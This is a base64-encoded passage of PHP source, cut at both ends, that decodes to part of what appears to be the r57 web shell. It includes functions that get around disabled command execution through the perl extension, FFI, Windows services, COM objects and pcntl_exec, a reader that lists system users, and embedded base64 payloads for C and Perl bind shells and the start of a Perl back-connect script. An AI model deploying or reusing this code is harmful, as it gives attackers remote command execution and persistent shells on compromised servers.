ZXNbMV0sIDEwMjQpO30KICAgfQogICBAcHJvY19jbG9zZSgkZik7CiAgfQogfWVsc2V7JHJlcyA9IHNhZmVfZXgoJGNmZSk7fQogcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJHJlcyk7Cn0KCgpmdW5jdGlvbiBzYWZlX2V4KCRjZmUpCntnbG9iYWwgJHVuaXgsJHRlbXBkaXI7CiAkcmVzID0gJyc7CiBpZiAoIWVtcHR5KCRjZmUpKQogewogICBpZihleHRlbnNpb25fbG9hZGVkKCdwZXJsJykpewogICAgIEBvYl9zdGFydCgpOwogICAgICRzYWZlcGVybD1uZXcgcGVybCgpOwogICAgICRzYWZlcGVybC0+ZXZhbCgic3lzdGVtKCckY2ZlJykiKTsKICAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwogICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgfQogICBlbHNlaWYoISR1bml4ICYmIGV4dGVuc2lvbl9sb2FkZWQoJ2ZmaScpKSAKICAgewogICAgICRvdXRwdXQ9JHRlbXBkaXIudW5pcWlkKCdOSicpOwogICAgICRhcGk9bmV3IGZmaSgiW2xpYj0na2VybmVsMzIuZGxsJ10gaW50IFdpbkV4ZWMoY2hhciAqQVBQLGludCBTVyk7Iik7CiAgICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ2VzY2FwZXNoZWxsYXJnJykpeyRyZXM9JGFwaS0+V2luRXhlYygiY21kLmV4ZSAvYyAkY2ZlID5cIiRvdXRwdXRcIiIsMCk7fQogICAgIGVsc2V7JHJlcz0kYXBpLT5XaW5FeGVjKCJjbWQuZXhlIC9jICIuQGVzY2FwZXNoZWxsYXJnKCRjZmUpLiIgPlwiJG91dHB1dFwiIiwwKTt9CiAgICAgd2hpbGUoIUBmaWxlX2V4aXN0cygkb3V0cHV0KSlzbGVlcCgxKTsKICAgICAkcmVzPW1vcmVyZWFkKCRvdXRwdXQpOwogICAgIEB1bmxpbmsoJG91dHB1dCk7CiAgIH0KICAgZWxzZWlmKCEkdW5peCAmJiBleHRlbnNpb25fbG9hZGVkKCd3aW4zMnNlcnZpY2UnKSkKICAgewogICAgICRvdXRwdXQ9JHRlbXBkaXIudW5pcWlkKCdOSicpOwogICAgICRuX3Nlcj11bmlxaWQoJ05KJyk7CiAgICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ2VzY2FwZXNoZWxsYXJnJykpCiAgICAge0B3aW4zMl9jcmVhdGVfc2VydmljZShhcnJheSgnc2VydmljZSc9PiRuX3NlciwnZGlzcGxheSc9PiRuX3NlciwncGF0aCc9PidjOlxcd2luZG93c1xcc3lzdGVtMzJcXGNtZC5leGUnLCdwYXJhbXMnPT4iL2MgJGNmZSA+XCIkb3V0cHV0XCIiKSk7fQogICAgIGVsc2V7QHdpbjMyX2NyZWF0ZV9zZXJ2aWNlKGFycmF5KCdzZXJ2aWNlJz0+JG5fc2VyLCdkaXNwbGF5Jz0+JG5fc2VyLCdwYXRoJz0+J2M6XFx3aW5kb3dzXFxzeXN0ZW0zMlxcY21kLmV4ZScsJ3BhcmFtcyc9PiIvYyAiLkBlc2NhcGVzaGVsbGFyZygkY2ZlKS4iID5cIiRvdXRwdXRcIiIpKTt9CiAgICAgQHdpbjMyX3N0YXJ0X3NlcnZpY2UoJG5fc2VyKTsKICAgICBAd2luMzJfc3RvcF9zZXJ2aWNlKCRuX3Nlcik7CiAgICAgQHdpbjMyX2RlbGV0ZV9zZXJ2aWNlKCRuX3Nlcik7CiAgICAgd2hpbGUoIUBmaWxlX2V4aXN0cygkb3V0cHV0KSlzbGVlcCgxKTsKICAgICAkcmVzPW1vcmVyZWFkKCRvdXRwdXQpOwogICAgIEB1bmxpbmsoJG91dHB1dCk7CiAgIH0KICAgZWxzZWlmKCEkdW5peCAmJiBleHRlbnNpb25fbG9hZGVkKCJ3aW4zMnN0ZCIpKQogICB7CiAgICAgJG91dHB1dD0kdGVtcGRpci51bmlxaWQoJ05KJyk7CiAgICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ2VzY2FwZXNoZWxsYXJnJykpe0B3aW5fc2hlbGxfZXhlY3V0ZSgnLi5cLi5cLi5cLi5cLi5cLi5cLi5cd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlIC9jICcuJGNmZS4nID4gIicuJG91dHB1dC4nIicpO30KICAgICBlbHNle0B3aW5fc2hlbGxfZXhlY3V0ZSgnLi5cLi5cLi5cLi5cLi5cLi5cLi5cd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlIC9jICcuQGVzY2FwZXNoZWxsYXJnKCRjZmUpLicgPiAiJy4kb3V0cHV0LiciJyk7fQogICAgIHdoaWxlKCFAZmlsZV9leGlzdHMoJG91dHB1dCkpc2xlZXAoMSk7CiAgICAgJHJlcz1tb3JlcmVhZCgkb3V0cHV0KTsKICAgICBAdW5saW5rKCRvdXRwdXQpOwogICB9CiAgIGVsc2VpZighJHVuaXgpCiAgIHsKICAgICAkb3V0cHV0PSR0ZW1wZGlyLnVuaXFpZCgnTkonKTsKICAgICAkc3VudHp1ID0gbmV3IENPTSgiV1NjcmlwdC5TaGVsbCIpOyAKICAgICBpZighQGZ1bmN0aW9uX2V4aXN0cygnZXNjYXBlc2hlbGxhcmcnKSl7JHN1bnR6dS0+UnVuKCdjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUgL2MgJy4kY2ZlLicgPiAiJy4kb3V0cHV0LiciJyk7fQogICAgIGVsc2V7JHN1bnR6dS0+UnVuKCdjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUgL2MgJy5AZXNjYXBlc2hlbGxhcmcoJGNmZSkuJyA+ICInLiRvdXRwdXQuJyInKTt9CiAgICAgJHJlcz1tb3JlcmVhZCgkb3V0cHV0KTsKICAgICBAdW5saW5rKCRvdXRwdXQpOwogICB9CiAgIGVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdwY250bF9leGVjJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKQogICB7CiAgICAkcmVzID0gJ1t+XSBCbGluZCBDb21tYW5kIEV4ZWN1dGlvbiB2aWEgW3BjbnRsX2V4ZWNdXG5cbic7CiAgICAkb3V0cHV0PSR0ZW1wZGlyLnVuaXFpZCgncGNudGwnKTsKICAgICRwaWQgPSBAcGNudGxfZm9yaygpOwogICAgaWYgKCRwaWQgPT0gLTEpIHsKICAgICAkcmVzIC49ICdbLV0gQ291bGQgbm90IGNoaWxkcmVuIGZvcmsuIEV4aXQnOwogICAgfSBlbHNlIGlmICgkcGlkKSB7CiAgICAgICAgIGlmIChAcGNudGxfd2lmZXhpdGVkKCRzdGF0dXMpKXskcmVzIC49ICdbK10gRG9uZSEgQ29tbWFuZCAiJy4kY2ZlLiciIHN1Y2Nlc3NmdWxseSBleGVjdXRlZC4nO30KICAgICAgICAgZWxzZSB7JHJlcyAuPSAnWy1dIEVycm9yLiBDb21tYW5kIGluY29ycmVjdC4nO30KICAgIH0gZWxzZSB7CiAgICAgICAgICRjZmUgPSBhcnJheSgiIC1lICdzeXN0ZW0oXCIkY2ZlID4gJG91dHB1dFwiKSciKTsKICAgICAgICAgaWYoQHBjbnRsX2V4ZWMoJy91c3IvYmluL3BlcmwnLCRjZmUpKSBleGl0KDApOwogICAgICAgICBpZihAcGNudGxfZXhlYygnL3Vzci9sb2NhbC9iaW4vcGVybCcsJGNmZSkpIGV4aXQoMCk7CiAgICAgICAgIGRpZSgpOwogICAgfQogICAgJHJlcz1tb3JlcmVhZCgkb3V0cHV0KTsKICAgIEB1bmxpbmsoJG91dHB1dCk7CiAgIH0KLyogICBlbHNlaWYoMSkKICAgewogICAgIAogICB9CiovCiB9CiByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkcmVzKTsKfQoKZnVuY3Rpb24gZ2V0X3VzZXJzKCRmaWxlbmFtZSkKewogICR1c2VycyA9ICRyb3dzID0gYXJyYXkoKTsKICAkcm93cz1AZXhwbG9kZSgiXG4iLG1vcmVyZWFkKCRmaWxlbmFtZSkpOwogIGlmKCEkcm93c1swXSl7JHJvd3M9QGV4cGxvZGUoIlxuIixyZWFkemxpYigkZmlsZW5hbWUpKTt9CiAgaWYoISRyb3dzWzBdKSByZXR1cm4gMDsKICBmb3JlYWNoICgkcm93cyBhcyAkc3RyaW5nKQogICB7CiAgICR1c2VyID0gQGV4cGxvZGUoIjoiLHRyaW0oJHN0cmluZykpOwogICBpZihzdWJzdHIoJHN0cmluZywwLDEpIT0nIycpIGFycmF5X3B1c2goJHVzZXJzLCR1c2VyWzBdKTsKICAgfQogIHJldHVybiAkdXNlcnM7IAp9CmZ1bmN0aW9uIGVycigkbiwkdHh0PScnKQp7CmVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBjb2xvcj1yZWQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+JzsKZWNobyAkR0xPQkFMU1snbGFuZyddWyRHTE9CQUxTWydsYW5ndWFnZSddLidfZXJyJy4kbl07CmlmKCFlbXB0eSgkdHh0KSkgeyBlY2hvICIgJHR4dCI7IH0KZWNobyAnPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4nOwpyZXR1cm4gbnVsbDsKfQpmdW5jdGlvbiBwZXJtcygkbW9kZSkKewppZiAoISRHTE9CQUxTWyd1bml4J10pIHJldHVybiAwOwppZiggJG1vZGUgJiAweDEwMDAgKSB7ICR0eXBlPSdwJzsgfQplbHNlIGlmKCAkbW9kZSAmIDB4MjAwMCApIHsgJHR5cGU9J2MnOyB9CmVsc2UgaWYoICRtb2RlICYgMHg0MDAwICkgeyAkdHlwZT0nZCc7IH0KZWxzZSBpZiggJG1vZGUgJiAweDYwMDAgKSB7ICR0eXBlPSdiJzsgfQplbHNlIGlmKCAkbW9kZSAmIDB4ODAwMCApIHsgJHR5cGU9Jy0nOyB9CmVsc2UgaWYoICRtb2RlICYgMHhBMDAwICkgeyAkdHlwZT0nbCc7IH0KZWxzZSBpZiggJG1vZGUgJiAweEMwMDAgKSB7ICR0eXBlPSdzJzsgfQplbHNlICR0eXBlPSd1JzsKJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7CiRvd25lclsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsKJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7CiRncm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOwokZ3JvdXBbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7CiRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOwokd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsKJHdvcmxkWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwokd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsKaWYoICRtb2RlICYgMHg4MDAgKSAkb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzsKaWYoICRtb2RlICYgMHg0MDAgKSAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzsKaWYoICRtb2RlICYgMHgyMDAgKSAkd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzsKJHM9c3ByaW50ZigiJTFzIiwgJHR5cGUpOwokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJG93bmVyWydyZWFkJ10sICRvd25lclsnd3JpdGUnXSwgJG93bmVyWydleGVjdXRlJ10pOwokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJGdyb3VwWydyZWFkJ10sICRncm91cFsnd3JpdGUnXSwgJGdyb3VwWydleGVjdXRlJ10pOwokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJHdvcmxkWydyZWFkJ10sICR3b3JsZFsnd3JpdGUnXSwgJHdvcmxkWydleGVjdXRlJ10pOwpyZXR1cm4gdHJpbSgkcyk7Cn0KZnVuY3Rpb24gaW4oJHR5cGUsJG5hbWUsJHNpemUsJHZhbHVlLCRjaGVja2VkPTApCnsKICRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7CiBpZigkc2l6ZSAhPSAwKSB7ICRyZXQgLj0gInNpemU9Ii4kc2l6ZS4iICI7IH0KICRyZXQgLj0gInZhbHVlPVwiIi4kdmFsdWUuIlwiIjsKIGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7CiByZXR1cm4gJHJldC4iPiI7Cn0KZnVuY3Rpb24gd2hpY2goJHByKQp7CiRwYXRoID0gJyc7CiRwYXRoID0gZXgoIndoaWNoICRwciIpOwppZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlOyB9Cn0KZnVuY3Rpb24gcHMoJHByKQp7Z2xvYmFsICR1bml4OwokcGF0aCA9ICcnOwppZigkdW5peCl7JHBhdGggPSBleCgicHMgLWF1eCB8IGdyZXAgJHByIHwgZ3JlcCAtdiAnZ3JlcCciKTt9CmVsc2V7JHBhdGggPSBleCgidGFza2xpc3QgfCBmaW5kc3RyIFwiJHByXCIiKTt9CmlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0KfQpmdW5jdGlvbiBsb2NhdGUoJHByKQp7CiRwYXRoID0gJyc7CiRwYXRoID0gZXgoImxvY2F0ZSAkcHIiKTsKaWYoIWVtcHR5KCRwYXRoKSkgeyByZXR1cm4gJHBhdGg7IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfQp9CmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCkKewogaWYoIW1vcmV3cml0ZSgkZm5hbWUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKSl7ZXJyKDApO307Cn0KZnVuY3Rpb24gc3IoJGwsJHQxLCR0MikKIHsKIHJldHVybiAiPHRyIGNsYXNzPXRyMT48dGQgY2xhc3M9dGQxIHdpZHRoPSIuJGwuIiUgYWxpZ249cmlnaHQ+Ii4kdDEuIjwvdGQ+PHRkIGNsYXNzPXRkMSBhbGlnbj1sZWZ0PiIuJHQyLiI8L3RkPjwvdHI+IjsKIH0KaWYgKCFAZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkKewpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpCnsKIGlmKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gIiBHQiI7fQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQogZWxzZWlmKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gIiBLQiI7fQogZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQogcmV0dXJuICRzaXplOwp9Cn0KICBmdW5jdGlvbiBEaXJGaWxlc1IoJGRpciwkdHlwZXM9JycpCiAgewogICAgJGZpbGVzID0gQXJyYXkoKTsKICAgIGlmKCgkaGFuZGxlID0gQG9wZW5kaXIoJGRpcikpKQogICAgewogICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IEByZWFkZGlyKCRoYW5kbGUpKSkKICAgICAgewogICAgICAgIGlmICgkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikKICAgICAgICB7CiAgICAgICAgICBpZihAaXNfZGlyKCRkaXIuIi8iLiRmaWxlKSkKICAgICAgICAgICAgJGZpbGVzID0gQGFycmF5X21lcmdlKCRmaWxlcyxEaXJGaWxlc1IoJGRpci4iLyIuJGZpbGUsJHR5cGVzKSk7CiAgICAgICAgICBlbHNlCiAgICAgICAgICB7CiAgICAgICAgICAgICRwb3MgPSBAc3RycnBvcygkZmlsZSwiLiIpOwogICAgICAgICAgICAkZXh0ID0gQHN1YnN0cigkZmlsZSwkcG9zLEBzdHJsZW4oJGZpbGUpLSRwb3MpOwogICAgICAgICAgICBpZigkdHlwZXMpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICBpZihAaW5fYXJyYXkoJGV4dCxleHBsb2RlKCc7JywkdHlwZXMpKSkKICAgICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICAgIEBjbG9zZWRpcigkaGFuZGxlKTsKICAgIH0KICAgIHJldHVybiAkZmlsZXM7CiAgfQogIGNsYXNzIFNlYXJjaFJlc3VsdAogIHsKICAgIHZhciAkdGV4dDsKICAgIHZhciAkRmlsZXNUb1NlYXJjaDsKICAgIHZhciAkUmVzdWx0RmlsZXM7CiAgICB2YXIgJEZpbGVzVG90YWw7CiAgICB2YXIgJE1hdGNoZXNDb3VudDsKICAgIHZhciAkRmlsZU1hdHNjaGVzQ291bnQ7CiAgICB2YXIgJFRpbWVTdGFydDsKICAgIHZhciAkVGltZVRvdGFsOwogICAgdmFyICR0aXRsZXM7CiAgICBmdW5jdGlvbiBTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKQogICAgewogICAgICAkZGlycyA9IEBleHBsb2RlKCI7IiwkZGlyKTsKICAgICAgJHRoaXMtPkZpbGVzVG9TZWFyY2ggPSBBcnJheSgpOwogICAgICBmb3IoJGE9MDskYTxjb3VudCgkZGlycyk7JGErKykKICAgICAgICAkdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEBhcnJheV9tZXJnZSgkdGhpcy0+RmlsZXNUb1NlYXJjaCxEaXJGaWxlc1IoJGRpcnNbJGFdLCRmaWx0ZXIpKTsKICAgICAgJHRoaXMtPnRleHQgPSAkdGV4dDsKICAgICAgJHRoaXMtPkZpbGVzVG90YWwgPSBAY291bnQoJHRoaXMtPkZpbGVzVG9TZWFyY2gpOwogICAgICAkdGhpcy0+VGltZVN0YXJ0ID0gZ2V0bWljcm90aW1lKCk7CiAgICAgICR0aGlzLT5NYXRjaGVzQ291bnQgPSAwOwogICAgICAkdGhpcy0+UmVzdWx0RmlsZXMgPSBBcnJheSgpOwogICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudCA9IEFycmF5KCk7CiAgICAgICR0aGlzLT50aXRsZXMgPSBBcnJheSgpOwogICAgfQogICAgZnVuY3Rpb24gR2V0RmlsZXNUb3RhbCgpIHsgcmV0dXJuICR0aGlzLT5GaWxlc1RvdGFsOyB9CiAgICBmdW5jdGlvbiBHZXRUaXRsZXMoKSB7IHJldHVybiAkdGhpcy0+dGl0bGVzOyB9CiAgICBmdW5jdGlvbiBHZXRUaW1lVG90YWwoKSB7IHJldHVybiAkdGhpcy0+VGltZVRvdGFsOyB9CiAgICBmdW5jdGlvbiBHZXRNYXRjaGVzQ291bnQoKSB7IHJldHVybiAkdGhpcy0+TWF0Y2hlc0NvdW50OyB9CiAgICBmdW5jdGlvbiBHZXRGaWxlTWF0Y2hlc0NvdW50KCkgeyByZXR1cm4gJHRoaXMtPkZpbGVNYXRjaGVzQ291bnQ7IH0KICAgIGZ1bmN0aW9uIEdldFJlc3VsdEZpbGVzKCkgeyByZXR1cm4gJHRoaXMtPlJlc3VsdEZpbGVzOyB9CiAgICBmdW5jdGlvbiBTZWFyY2hUZXh0KCRwaHJhc2U9MCwkY2FzZT0wKSB7CiAgICAkcXEgPSBAZXhwbG9kZSgnICcsJHRoaXMtPnRleHQpOwogICAgJGRlbGltID0gJ3wnOwogICAgICBpZigkcGhyYXNlKQogICAgICAgIGZvcmVhY2goJHFxIGFzICRrPT4kdikKICAgICAgICAgICRxcVska10gPSAnXGInLiR2LidcYic7CiAgICAgICR3b3JkcyA9ICcoJy5AaW1wbG9kZSgkZGVsaW0sJHFxKS4nKSc7CiAgICAgICRwYXR0ZXJuID0gIi8iLiR3b3Jkcy4iLyI7CiAgICAgIGlmKCEkY2FzZSkKICAgICAgICAkcGF0dGVybiAuPSAnaSc7CiAgICAgIGZvcmVhY2goJHRoaXMtPkZpbGVzVG9TZWFyY2ggYXMgJGs9PiRmaWxlbmFtZSkKICAgICAgewogICAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gPSAwOwogICAgICAgICRGaWxlU3RyaW5ncyA9IEBmaWxlKCRmaWxlbmFtZSkgb3IgQG5leHQ7CiAgICAgICAgZm9yKCRhPTA7JGE8QGNvdW50KCRGaWxlU3RyaW5ncyk7JGErKykKICAgICAgICB7CiAgICAgICAgICAkY291bnQgPSAwOwogICAgICAgICAgJEN1clN0cmluZyA9ICRGaWxlU3RyaW5nc1skYV07CiAgICAgICAgICAkQ3VyU3RyaW5nID0gQFRyaW0oJEN1clN0cmluZyk7CiAgICAgICAgICAkQ3VyU3RyaW5nID0gQHN0cmlwX3RhZ3MoJEN1clN0cmluZyk7CiAgICAgICAgICAkYWEgPSAnJzsKICAgICAgICAgIGlmKCgkY291bnQgPSBAcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sJEN1clN0cmluZywkYWEpKSkKICAgICAgICAgIHsKICAgICAgICAgICAgJEN1clN0cmluZyA9IEBwcmVnX3JlcGxhY2UoJHBhdHRlcm4sIjxTUEFOIHN0eWxlPSdjb2xvcjogIzk5MDAwMDsnPjxiPlxcMTwvYj48L1NQQU4+IiwkQ3VyU3RyaW5nKTsKICAgICAgICAgICAgJHRoaXMtPlJlc3VsdEZpbGVzWyRmaWxlbmFtZV1bJGErMV0gPSAkQ3VyU3RyaW5nOwogICAgICAgICAgICAkdGhpcy0+TWF0Y2hlc0NvdW50ICs9ICRjb3VudDsKICAgICAgICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnRbJGZpbGVuYW1lXSArPSAkY291bnQ7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICAgICR0aGlzLT5UaW1lVG90YWwgPSBAcm91bmQoZ2V0bWljcm90aW1lKCkgLSAkdGhpcy0+VGltZVN0YXJ0LDQpOwogICAgfQogIH0KICBmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKQogIHsKICAgIGxpc3QoJHVzZWMsJHNlYykgPSBAZXhwbG9kZSgiICIsQG1pY3JvdGltZSgpKTsKICAgIHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpOwogIH0KJHBvcnRfYmluZF9iZF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM1I1Y0dWekxtZytEUW9qYVc1amJIVmtaUwpBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHhsY25KdWJ5NW9QZzBLYVc1MElHMWhhVzRvWVhKbll5eGhjbWQyS1EwS2FXNTBJCkdGeVoyTTdEUXBqYUdGeUlDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjFZM1FnYzI5amEyRmtaSEpmYVc0Z2NtVnQKYjNSbE93MEtJR2xtS0dadmNtc29LU0E5UFNBd0tTQjdJQTBLSUhKbGJXOTBaUzV6YVc1ZlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOQpwS0dGeVozWmJNVjBwS1RzTkNpQnlaVzF2ZEdVdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0lBMEtJSE52WTJ0bVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGCk5QUTB0ZlUxUlNSVUZOTERBcE93MEtJR2xtS0NGemIyTnJabVFwSUhCbGNuSnZjaWdpYzI5amEyVjBJR1Z5Y205eUlpazdEUW9nWW1sdVpDaHpiMk5yWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0sKaWttY21WdGIzUmxMQ0F3ZURFd0tUc05DaUJzYVhOMFpXNG9jMjlqYTJaa0xDQTFLVHNOQ2lCM2FHbHNaU2d4S1EwS0lDQjdEUW9nSUNCdVpYZG1aRDFoWTJObGNIUW9jMjlqYTJaa0xEQXNNQ2s3RFFvZwpJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc05DaUFnSUdSMWNESW9ibVYzWm1Rc01pazdEUW9nSUNCM2NtbDBaU2h1WlhkbVpDd2lVR0Z6YzNkdmNtUTZJaXd4TUNrCjdEUW9nSUNCeVpXRmtLRzVsZDJaa0xHSjFaaXh6YVhwbGIyWW9ZblZtS1NrN0RRb2dJQ0JwWmlBb0lXTm9jR0Z6Y3loaGNtZDJXekpkTEdKMVppa3BEUW9nSUNCemVYTjBaVzBvSW1WamFHOGdkMlZzWTIKOXRaU0IwYnlCeU5UY2djMmhsYkd3Z0ppWWdMMkpwYmk5aVlYTm9JQzFwSWlrN0RRb2dJQ0JsYkhObERRb2dJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lVMjl5Y25raUtUc05DaUFnSUdOc2IzTmxLRzVsZAoyWmtLVHNOQ2lBZ2ZRMEtJSDBOQ24wTkNtbHVkQ0JqYUhCaGMzTW9ZMmhoY2lBcVltRnpaU3dnWTJoaGNpQXFaVzUwWlhKbFpDa2dldzBLYVc1MElHazdEUXBtYjNJb2FUMHdPMms4YzNSeWJHVnVLR1Z1CmRHVnlaV1FwTzJrckt5a2dEUXA3RFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2JpY3BEUXBsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNnRFFwcFppaGxiblJsY21Wa1cybGRJRDA5SUNkY2NpY3BEUXAKbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzTkNuME5DbWxtSUNnaGMzUnlZMjF3S0dKaGMyVXNaVzUwWlhKbFpDa3BEUXB5WlhSMWNtNGdNRHNOQ24wPSI7CiRwb3J0X2JpbmRfYmRfcGw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZZbUZ6YUNBdGFTSTdEUXBwWmlBb1FFRlNSMVlnUENBeEtTQjdJR1Y0YVhRb01TazdJSDBOQ2lSTVMKVk5VUlU1ZlVFOVNWRDBrUVZKSFZsc3dYVHNOQ25WelpTQlRiMk5yWlhRN0RRb2tjSEp2ZEc5amIydzlaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRcwpKbE5QUTB0ZlUxUlNSVUZOTENSd2NtOTBiMk52YkNrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWClRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkV4SlUxUkZUbDlRVDFKVUxFbE9RVVJFVWw5QlRsa3BLU0I4ZkNCa2FXVWdJa05oYm5RZ2IzQmxiaUJ3YjNKMFhHNGlPdzBLYkcKbHpkR1Z1S0ZNc015a2dmSHdnWkdsbElDSkRZVzUwSUd4cGMzUmxiaUJ3YjNKMFhHNGlPdzBLZDJocGJHVW9NU2tOQ25zTkNtRmpZMlZ3ZENoRFQwNU9MRk1wT3cwS2FXWW9JU2drY0dsa1BXWnZjbXNwSwpRMEtldzBLWkdsbElDSkRZVzV1YjNRZ1ptOXlheUlnYVdZZ0tDRmtaV1pwYm1Wa0lDUndhV1FwT3cwS2IzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DbTl3Wlc0Z1UxUkVUMVZVTENJK0prTlBUazRpCk93MEtiM0JsYmlCVFZFUkZVbElzSWo0bVEwOU9UaUk3RFFwbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNtTnNiM04KbElFTlBUazQ3RFFwbGVHbDBJREE3RFFwOURRcDkiOwokYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdF